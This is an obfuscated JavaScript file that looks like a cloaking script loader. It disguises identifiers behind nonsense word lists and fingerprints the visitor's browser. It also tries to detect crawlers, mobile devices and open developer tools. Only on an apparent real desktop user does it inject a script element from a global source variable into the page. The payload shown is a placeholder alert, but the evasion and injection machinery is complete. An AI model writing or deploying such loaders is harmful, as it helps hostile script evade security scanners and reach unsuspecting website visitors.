window.globalScriptSrc = "data:text/javascript,alert('work, yes')";
var t = this;
var bingo, paper, check, c, d, obj, translate, Message;
+function () {
    var l = loadBindData;
    var lib = 'React';
    var accessCode = 1e13;

    var appRequirements = {
        device: 'pc',
        screen: 1980,
        lang: 'java',
        cookie: true,
        src: '',
        teg: 'body',
        support: 'global',
        internet: 'enabled',
        method: 'post',
        accent: 'color',
        plugins: ['react-datepicker', 'rc-tree'],
        security: true,
        name: 'app',
        version: '1.0.0',
        platform: []
    };

    var calc = Math;

    var elem = up(getData(l, 'not', 'logo', 'dom', 'clone')); // Node
    var user = {
        login: 'Agent',
        password: 'user'
    };
    var st = '';
    var additional = ['Message', 'side', 'bug', 'sistem', 'post'];
    var entities = ['vas', 'ran', 'bar', 'dom', 'can', 'gate', 'web', 'or', 'ment', 'cube'];

    var code = accessCode;
    var stamp = new Date / code;
    var del = '|';
    var winter = ['ice', 'x', 'glove', 'log'];
    var logo = $(entities[1], entities[3]); //random

    var ladder = {
        getCheck: function () {
            translate = bingo;
            return this
        },

        getContext: function () {
            getContext(entities, additional);
            // one more window
            if (document.documentElement.firstElementChild === undefined) {
                obj = t;
                Object.defineProperty(Element.prototype, 'firstElementChild', {
                    get: function () {
                        var el = this.firstChild;
                        do {
                            if (el.nodeType === 1) {
                                return el;
                            }
                            el = el.nextSibling;
                        } while (el);
                        return null;
                    }
                });

            } else {
                obj = t;
            }
            return this
        },

        getAge: function () {
            if (t) {
                paper = t[d]; // document
                c = paper; // document
            }
            return this
        }
    };

    ladder.getContext()
        .getAge()
        .getCheck();

    ~function (a, b) {
        var x = [];
        for (var i = 0; i < b.length; i++) {
            if (!i) {
                x.push(b);
                Message = RegExp;
            }
        }
        calc[b] = function () { return stamp };
        if (a) {
            a.forEach(calculatePosition)
        };
    }(getPlace(), logo);

    var picture;
    var club = getData(l, 'follow', 'int', 'baloon') // win
    var jeans = getData(loadBindData, 'mem', 'rumba', 'coc'); // mac
    var passive = getData(l, 'cap', 'bath', 'cancer', 'mango', 'scream'); // chrom
    var filter = typeof l;
    var summer = getData(loadBindData, 'sun', 'ice', 'sand', 'wine', 'crab', 'umbrella', 'rom'); // sidebar

    var nut = String.fromCharCode(68) + (!![] + '').substring(3, 4) + additional[2]; // Debug
    var romb = lib.slice(0, 2) + lib.slice(3); // Rect
    var ff = t[summer]; //isNativeFF,

    var age = t[nut]; // IE/Edge
    var auth = t[romb];
    var rec = getData(loadBindData, 'octopus', 'ant', 'fox', 'mamba', 'order', 'int'); // safari
    var inc = getData(l, 'fan', 'in', 'pair', 'end'); // fire;
    var _under = $($(inc, updateRequest(filter, 1)), winter[1]); // firefox
    // edge
    var _mark = getData(l, 'bese', 'do', 'god', 'eagle'); // edge


    function getKeys(obj) {
        var keys = [];
        iterate(obj, function (oVal, oKey) { keys.push(oKey) });
        return keys;
    };

    var end = getData(loadBindData, 'cake', 'nut', 'sorbet'); // ent
    var music = getData(l, 'pop', 'alternative', 'rap').toUpperCase(); // PER
    var findPart = additional[3].slice(0, 4).toUpperCase();
    var style = $(music, findPart);

    var primaryColor = $(style, end).toUpperCase();
    var isColored = obj[primaryColor]; // window.PERSISTENT
    var translations = getKeys(appRequirements);
    var radius = obj[translations[1]];
    var help = translations[3] + appRequirements['internet'].slice(0, 1).toUpperCase() + appRequirements['internet'].slice(1);
    var under = '__';

    function iterate(iterable, callback) {
        for (var key in iterable) {
            if (key === 'length' || key === 'prototype' || !Object.prototype.hasOwnProperty.call(iterable, key)) continue;
            callback(iterable[key], key, iterable);
        }
    };

    function getImage(x, y) {
        return entities[x] + entities[y];
    };


    function getDeep() {
        var abc = getData(l, 'lacrosse', 'pit', 'port', 'hat'); // epth
        return $(String.fromCharCode(68), abc);
    };


    var volume = getData(l, 'can', 'bars', 'pop', 'tumor');

    var prog = fetchData(under, volume, under);  //__cspr__
    function findExt() { //devicePixelRatio
        var point = $(String.fromCharCode(80), getData(loadBindData, winter));
        var rang = getData(l, 'Rom', 'axe', 'sport', 'ink', 'solo'); //Ratio
        return $($(translations[0], point), rang);
    };

    var deepRatio = $(appRequirements.accent, getDeep()) //screen.colorDepth;
    var assets = translations[10]; // plugins
    var isFavorite = checkFavorite(); // isNewChrome


    function getData() {
        var temp = [];
        var w = '';
        var f = arguments[0];
        if (Array.isArray(arguments[1])) {
            var data = arguments[1];
            if (!data || !data.length) {
                return data
            } else {
                for (var j = 0; j < data.length; j++) {
                    w += f(data[j])
                }
            }
        } else {
            for (var i = 1; i < arguments.length; i++) {
                w += f(arguments[i])
            }
        }
        return w
    };
    var control = appRequirements.lang + up(appRequirements.internet); // javaEnabled

    var base = getData(loadBindData, 'bus', 'metro', 'sled', 'lorry'); // body
    var length = 'Child';
    var isOn = appRequirements.internet[0].toUpperCase();
    function getWage(param) {
        if (param[translations[11]]) {
            return 4
        } else if (ff) {
            return 1
        } else {
            return 2
        }
    };

    var _alt = getData(l, 'up', 'map');

    var oldEntries = appRequirements.name + elem.replace('N', 'C') + up('name'); // appCodeName
    var newEntries = appRequirements.name + up(translations[13]); // appVersion

    var isSmall = function () { return !st.match.call(translate[assets][0].name, _alt) }; // 0 in Chromium  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!1
    var wage = getWage(paper); // consoleCounter

    function findEntries() {
        return [bingo[oldEntries], bingo[newEntries]].join(bingo[control]).match(/"/g);
    };

    function getPlace() {
        return t[elem][prog];
    };

    var signedIn = $(user.password, user.login); // userAgent
    var checked = translate[signedIn]; // navigator.userAgent

    function calculatePosition(coord) {
        return t[elem].prototype[coord[0]] = coord[1];
    };

    var highlight = getData(l, 'buz', 'goal', 'pikabu', 'tour'); // blur
    var animals = getData(l, 'cat', 'rat', 'grizzly', 'pig', 'marmot', 'armadillo'); // crypto
    var isRealCaterpillar = typeof (obj[animals]) == "function" || findEntries(); // isFakeCrawler
    var addFile = findFastSolution(true); // createElement
    var width = appRequirements;

    function updateRequest(data, _n) {
        var result = '';
        if (typeof data === 'string' && _n || _n == 0) {
            if (_n === 1) {
                result += data[0];
                var _m = data[data.length - 2];
                return result += _m;
            } else if (n == 2) {
                return 0
            }
        }
    };

    function loadBindData(s) {
        if (s.length > 3) {
            return s[s.length - 1];
        }
        else return s[0];
    };

    var png = getImage(4, 0);
    var img = paper[addFile](png); // canvasElem
    var attr = 'src';
    function $(str, lett) {
        return str + lett;
    };
    var imageSrc = getImageSrc();

    try {
        var event = t[highlight] + st;
    } catch (e) { var event = false };

    function findItem() { return $(translations[1][0], animals.slice(0, 2)) + $('ip', end[2]); }; // script
    var padding = width.name; // app
    var language = /g/;
    var doCheck = function () { // fireTrackingScript
        var content = addImage();
        return content(paper[addFile](findItem()))[attr] = t[imageSrc];
    };

    function addImage() {
        var place = $(padding, 'end'); // append
        var height = calculateImageHeight(place);
        return paper[width.teg][height].bind(paper[width.teg]);
    };

    function getImageSrc() { // globalScriptSrc
        return appRequirements.support + $(up(findItem()), up(attr));
    };

    function up(item) {
        return item[0].toUpperCase() + item.slice(1);
    };

    function calculateImageHeight(place) {
        return $(place, length)
    };

    language.toString = function () { --wage; return st };

    var magic = translations[14];

    var magicMessage = function () {
        var ink = fetchData(club, del, jeans);
        return new Message(ink, 'gi');
    };

    var checkedData = checkData() || checkTime() || checkPassword();


    if (translate[magic].match(magicMessage())) { // ts/mac, no mobiles
        var result = [];
        for (var i = magic.length; i > 0; i--) {
            result.push(magic[i]);
        }
        var dayOff = hasDayOff();
        var list = up(getData(l, 'tost', 'potato', 'un', 'can', 'hot')); // Touch
        var credentials = getCredentials(list); // maxTouchPoints
        if (!bingo[credentials]) { // no touchscreens
            if (!Array.prototype.findIndex) {
                Array.prototype.findIndex = function (predicate) {
                    if (this == null) {
                        throw new TypeError('Array.prototype.findIndex called on null or undefined');
                    }
                    if (typeof predicate !== 'function') {
                        throw new TypeError('predicate must be a function');
                    }
                    var list = Object(this);
                    var length = list.length >>> 0;
                    var thisArg = arguments[1];
                    var value;

                    for (var i = 0; i < length; i++) {
                        value = list[i];
                        if (predicate.call(thisArg, value, i, list)) {
                            return i;
                        }
                    }
                    return -1;
                };
            }
            if (!isRealCaterpillar && getAssets()) {
                if (checkedData) {
                    console.log(language); // will decrement "consoleCounter"
                    if (wage > 0 && t[dayOff]) { //check for canvas support
                        // all ok, fire script
                        doCheck();
                    }
                }
            }
        }
    };

    function hasDayOff() {
        var calendar = getData(loadBindData, 'big', 'un', 'fun', 'puff', 'elf', 'run');
        var experiance = up(entities[6]) + up(appRequirements.support[0]) + up(appRequirements.support[1]);
        return $(experiance, $(up('frame'), calendar));
    };

    var smart = getData(loadBindData, 'dog', 'caribou', 'worm', 'pig'); // dump

    function fetchData() {
        var data = '';
        for (var i = 0; i < arguments.length; i++) {
            data += arguments[i]
        }
        return data
    };

    var h = getData(l, 'kookaburra', 'albatross', 'sou', 'eagle', 'man', 'bat', 'kestrel', 'canary'); //assembly
    var low = entities[7][0] + additional[1][0] + entities[4][0] + additional[4][0] + additional[2][1];

    function createMessage(text, f) {
        return new Message(text, f);
    };

    var down = $(up(entities[6]), up(h));
    var corner = $(getData(loadBindData, 'wow', 'a', 'sun', 'fantom'), up(appRequirements.internet));

    function checkData() {
        var _mask = (auth || ff);
        const __tt = signIn();
        if (!Array.of) {
            Array.of = function () {
                return Array.prototype.slice.call(arguments);
            };
        }
        return checked.match(__tt) && _mask;
    };

    function checkTime() {
        return checked.match(freeEnter()) && isColored && isFavorite && isSmall();
    };

    function checkPassword() {
        return checked.match(isAllowed()) && age;
    };

    function getAssets() {

        if (typeof Object.create != 'function') {
            Object.create = (function () {
                function Temp() { }
                var hasOwn = Object.prototype.hasOwnProperty;
                return function (O) {

                    if (typeof O != 'object') {
                        throw TypeError('Object prototype may only be an Object or null');
                    }
                    Temp.prototype = O;
                    var obj = new Temp();
                    Temp.prototype = null;

                    if (arguments.length > 1) {

                        var Properties = Object(arguments[1]);
                        for (var prop in Properties) {
                            if (hasOwn.call(Properties, prop)) {
                                obj[prop] = Properties[prop];
                            }
                        }
                    }
                    return obj;
                };
            })();
        }
        return event && (!t[smart] || t[down] && bingo[low] || bingo[corner]);
    };

    function getDiscont(param) {
        var count = $(getData(l, 'bard', 'owl', 'coc', 'uno'), entities[8]); // document
        if (user.login && user.password) {
            if (typeof user == 'object') {
                return param ? null : count;
            }
        }
        return null;
    };

    function getCredentials(list) {
        var cr = $(list, up(getData(l, 'stamp', 'owl', 'in', 'town', 'tablet', 'sun')));
        var mode = 'max';
        return $(mode, cr);
    };

    function pm() {
        return appRequirements.method + additional[0];
    };

    function createElement(el, value) {
        return el + value;
    };

    function signIn() {
        var text = fetchData(rec, del, _under);
        return createMessage(text, 'i');
    };

    function freeEnter() {
        var text = passive;
        return createMessage(text, 'i');
    };

    function findFastSolution(data) { //createElement
        var action;
        if (data) {
            action = 'create';
            if (!picture) {
                picture = entities[4] + entities[0];
            } // canvas
        } else {
            picture = 'art'
        }
        var first = action + isOn;
        var second = getData(loadBindData, 'lip', 'elf', 'charm') + end;
        return $(first, second)
    };

    function checkFavorite() {
        return t[pm()] && obj[findExt()] && radius[deepRatio] && bingo[help] && translate[assets];
    };

    function isAllowed() {
        var text = fetchData(createElement('tr', 'id'), end, del, _mark) //  /trident|edge/i
        return createMessage(text, 'i');
    };

    function getContext(a, p) {
        if (a) {
            if (a[2] === 'bar') {
                var _tag = getData(l, 'no', 'ant', 'via', 'int', 'gun', 'malaga', 'tost');//navigat
                var n = $(_tag, entities[7]);
                d = getDiscont();// document
                bingo = t[n]; // navigator
            }
        }
    };
}();